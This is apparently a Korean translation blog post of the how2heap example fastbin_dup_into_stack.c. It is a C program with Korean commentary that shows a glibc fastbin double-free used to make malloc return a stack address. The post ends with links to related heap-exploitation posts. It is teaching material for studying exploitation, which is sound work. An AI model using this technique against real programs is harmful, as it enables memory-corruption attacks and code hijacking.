1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50 |
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("이 파일은 fastbin_dup.c 에서 확장되어 malloc의 return address를 컨트롤(이 경우에서는 스택)할 수 있도록 한다.\n")
unsigned long long stack_var;
printf("우리가 원하는 malloc의 return address는 %p 이다..\n", 8+(char *)&stack_var);
printf("먼저 세 개의 버퍼를 할당한다.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);
printf("첫 번째 chunk를 free한다....\n");
free(a);
printf("만약 %p 를 다시 free 한다면, crash가 일어날 것이다. 그 이유는 %p 는 freelist의 가장 맨 위에 있기 때문이다.\n", a, a);
// free(a);
printf("따라서, 대신 우리는 %p를 free한다.\n", b);
free(b);
printf("이제 %p 가 freelist의 맨 윗쪽에 위치하지 않기 때문에 %p 를 다시 free 할 수 있다. \n", a, a);
free(a);
printf("이제 freelist는 [ %p, %p, %p ] 를 가지고 있다. 이제 %p 의 데이터를 수정함으로써 공격을 수행하겠다.\n", a, b, a, a);
unsigned long long *d = malloc(8);
printf("1st malloc(8): %p\n", d);
printf("2nd malloc(8): %p\n", malloc(8));
printf("현재 freelist는 [ %p ] 이다.\n", a);
printf("이제 우리는 %p 가 freelist의 맨 윗쪽에 남아있는 상태에서 접근할 수 있다.\n"
"우리는 stack에 fake free size(이 경우에서는 0x20)을 써서,\n"
"malloc이 그곳이 free chunk라고 생각하고 return address 주소를 그곳을 가리키도록 할 것이다.\n", a);
stack_var = 0x20;
printf("이제 우리는 0x20의 바로 다음 주소를 가리키기도록 %p 에 위치한 첫 8byte를 덮어 씌울 것이다.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
printf("3rd malloc(8): %p, stack address를 freelist에 추가한다.\n", malloc(8));
printf("4rd malloc(8): %p\n", malloc(8));
}
|
cs |
'system' 카테고리의 다른 글
[how2heap translation] unsafe_unlink.c (0) | 2017.03.03 |
---|---|
[how2heap translation] unsorted_bin_attack.c (0) | 2017.02.07 |
[how2heap translation] fastbin_dup.c (0) | 2017.01.10 |
MP3 CD Converter Exploit (0) | 2016.11.22 |
SEH(Structured Exception Handler) (0) | 2016.11.17 |